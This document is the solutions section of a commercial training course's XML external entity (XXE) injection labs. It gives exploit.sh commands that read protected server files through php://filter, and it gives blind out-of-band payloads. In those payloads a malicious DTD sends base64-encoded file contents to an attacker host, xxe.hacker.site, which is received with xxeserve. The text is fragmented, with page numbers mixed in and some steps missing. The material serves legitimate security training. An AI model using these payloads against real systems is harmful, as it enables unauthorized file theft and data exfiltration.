© 2019 Caendra Inc. - Hera For Waptxv2 - Xxe Labs
© 2019 Caendra Inc. - Hera For Waptxv2 - Xxe Labs
In these XML eXternal Entities Injection labs, you will learn how to exploit this kind of
vulnerability by overcoming difficult levels that are increasingly complex.
The first levels are easy but are fundamental to build the advanced exploitation required in the
final levels.
The solutions you will see are just a few of the many you can have.
As a suggestion, once you finish these labs, you can try to solve them again using your way and
your tools.
All labs are available at the following URL: http://info.xxe.labs/
The main goal of these labs is to exploit an XML eXternal Entities flaw in a login form.
Then, you have to extract the information the challenge will ask you.
The best tool is, as usual, your brain. You may also need:
• Web Browser
• Bash shell
• XXEServe (https://github.com/joernchen/xxeserve)
• HTTP Proxy
Below, you can find solutions for each task. Remember, though, that you can follow your own
strategy, which may be different from the one explained in the following lab.
NOTE: The techniques to use during this lab are better explained in the study material. You
should refer to it for further details. These solutions are provided here only to verify the
correctness.
./exploit.sh {DOCROOT}/.letmepass
OR
To retrieve the value, it is required to perform a DELETE request to the whois.php script.
Note, the base64 command has different implementations; therefore, you may need one of
these two switches to decode:
./exploit.sh php://filter/convert.base64-
encode/resource=/var/www/xxe/2/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g'
./exploit.sh php://filter/convert.base64-encode/resource=/var/www/3/.letmepass.php
./exploit.sh php://filter/convert.base64-encode/resource=/var/www
/3/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g' \
| base64 -d > whaat.php
OR
[Steps 1|2|3] | base64 -D > wohoo.png
./exploit.sh php://filter/convert.base64-encode/resource=/var/www/
4/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g' \
| base64 -d > wohoo.png
open wohoo.png
10
./exploit.sh /var/www/5/.letmepass
./file_extractor.sh /var/www/5/hidden
11
The solution is within .letmepass.php; this is a blind XXE exploitation, so you need to set
up an OOB channel.
Here are the steps:
• Craft the XML payload moving the external entity definitions in another DTD file
(evil_oob.dtd)
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://xxe.hacker.site/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
<login>
<username>XXEME</username>
<password>password</password>
</login>"
ruby xxeserve.rb
12
Note: You can improve xxeserve by adding the following lines. With this way, you can
customize the port and host to use:
set :bind, 'xxe.hacker.site'
set :port, 2108
• Base64 Decode
Decode what the shell has received! Check the files folder
13
The solution is in Background.php ; this is a blind XXE exploitation, so you need to set up an
OOB channel.
Here are the steps:
Craft the XML payload moving the external entity definitions in another DTD file
( evil_oob.dtd )
File: exploit.sh
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://xxe.hacker.site/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
<login>
<username>XXEME</username>
<password>password</password>
</login>
File: evil_oob.dtd
<!ENTITY % resource SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///var/www/7/.letmepass.php">
<!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM
'http://xxe.hacker.site:2108/?p=%resource;'>">
14
ruby xxeserve.rb
NOTE: I added the following lines in order to customize port and host.
set :bind, 'xxe.hacker.site'
set :port, 2108
Decode what the shell has received! Check the files folder
15
16